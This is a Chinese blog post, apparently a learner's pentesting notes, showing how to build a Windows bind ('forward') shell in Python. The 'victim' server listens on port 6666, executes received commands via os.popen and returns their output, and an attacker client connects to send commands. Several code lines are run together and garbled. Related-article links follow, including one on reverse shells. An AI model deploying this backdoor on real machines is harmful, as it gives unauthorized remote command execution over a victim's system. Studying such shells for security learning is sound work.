windows下的正向shell
学习渗透怎么能不会shell呢,今天和明天的学习内容就是正向shell和反弹shell啦~~
shell:在计算机科学中,Shell俗称壳(用来区别于核),是指“为使用者提供操作界面”的软件(命令解析器)。它类似于DOS下的command.com和后来的cmd.exe。它接收用户命令,然后调用相应的应用程序。(ps:这个是百度百科的解释啦~~~)
当客户端攻击服务器端时,此时服务器端IP地址已知,所以可以使用正向shell
在这里分别写服务器端代码和客户端代码;注:每次运行时要先开服务器端
服务器端(被攻击,导入模块:import os;import socket)
基本步骤:
1、创建套接字
s=socket.socket()
2、进行绑定(ip:允许连接的ip,服务器端端口)
s.bind(("0.0.0.0",6666))
3、允许连入的主机数
s.listen()
4、创建接口与连入的主机地址
con,addr=s.accept()
具体代码:
#正向shell 服务器端(win7)被攻击的才导入os模块 每次先开的应为服务器端import socket
import oss=socket.socket()
#允许连入的ip,和自己的端口
s.bind(("0.0.0.0",6666))
#一次允许连入的主机数
s.listen(5)
con,addr=s.accept()
print(addr)for i in range(3):cmd=con.recv(1024).decode()print("收到第%d条命令:"%(i+1),cmd)#os.popen返回值为执行过程中的输出内容result=os.popen(cmd).read()if result:con.send(result.encode())#对目录操作需要进行特殊处理else:if cmd[:2] == 'cd':os.chdir(cmd[2:].strip())con.send(b'OK!')
con.close()
客户端(攻击者,导入模块:import socket)
基本步骤:
1、创建套接字,连接服务器(ip:服务器端,端口:服务器端)
s=socket.socket()
s.connect(('127.0.0.1',6666))
2、收发数据
s.send(cmd.encode())
result=s.recv(65536)
3、关闭套接字
s.close()
具体代码:
import sockets=socket.socket()
s.connect(('127.0.0.1',6666))
for i in range(3):cmd=input("第%d条命令:"%(i+1))s.send(cmd.encode())result=s.recv(65536)print(result.decode())
s.close()
实现效果图:
客户端:
服务器端:
enen~~就酱紫,下一篇反弹shell
windows下的正向shell相关推荐
- Windows下使用标准Shell接口遍历文件和文件夹
Windows下使用标准Shell接口遍历文件和文件夹(1) 在Windows中我们经常需要遍历一个文件夹或者遍历一个磁盘.本文介绍如何使用标准的Shell接口进行遍历.在介绍过程中会逐步的实现一个类 ...
- Windows下怎么练习shell脚本
最近对shell脚本编程比较感兴趣,苦于笔者的笔记本是windows而不是linux.而且: 1. win7系统 (看了网上的让我升级到win10之后,win10提供了一个完整的,基于Ubuntu的B ...
- windows下jenkins执行shell报错
创建完Job之后,执行shell脚本报错 Publish] $ sh -xe C:\Windows\TEMP\jenkins1513512433272584870.sh 办法是修改 Manage Je ...
- Windows下的反弹shell
今天学习内容就是反弹shell啦~~ 当服务器端攻击客户端时,此时客户端IP地址未知,所以要使用反向shell 在这里分别写服务器端代码和客户端代码:注:每次运行时要先开服务器端 服务器端(攻击者,导 ...
- Windows下VSCode运行shell
最简单办法安装git并将Git bash目录比如C:\Program Files (x86)\Git\bin\bash.exe添加到环境变量中 VSCode终端输入bash进入Bash模式了,可以执行 ...
- windows下通过adb shell进入data目录
2019独角兽企业重金招聘Python工程师标准>>> http://blog.csdn.net/chrisfxs/article/details/37656083 转载于:http ...
- windows下编辑的shell复制到linux无法执行
是因为格式不对 可用vim编辑器转换格式 在vim中执行命令: set ff=unix 设置打开方式为unix
- windows 下执行mysql脚本_Windows下批处理执行MySQL脚本文件
一. @echo off Setlocal enabledelayedexpansion ::CODER BY Mark_Li POWERD BY iBAT 1.6 cd "C:\Progr ...
- 64位虚拟机下asm()语法_一步步学写Windows下的Shellcode
如何在WIndows下编写一个shellcode?为什么会问这个问题,前段时间在做win下的Exploit,但是都是使用大佬写的shellcode,无法实现个人的一些需求.而网络上编写shellcod ...
最新文章
- 跨越企业的“中等收入陷阱”
- go语言笔记——切片底层本质是共享数组内存!!!绝对不要用指针指向 slice切片本身已经是一个引用类型就是指针...
- VTK:邻接矩阵到 EdgeTable用法实战
- IOS8 兼容本地推送
- ip中继对接_朗视IPPBX为桃源居中澳实验学校打造IP语音校园!
- java.util.ArrayList#add探索
- 电子邮件服务器-PostFix
- delphi const
- MySQL 计算同比环比
- window报错:文件系统错误 (-2147219196)
- 计算机如何磁盘整理,如何整理磁盘碎片让Win7电脑运行更快?
- 2020-03-10
- 基于PHP的餐饮行业管理系统
- accumulate 的用法
- TransUNet阅读笔记与训练尝试
- Postman安装(图文)
- Elasticsearch索引别名alias操作
- 使用代理服务器爬取网站
- 解决maven打包的时候依赖jar包打不进去
- 《疯狂Java讲义》(第5版) 作者李刚(待重新排版)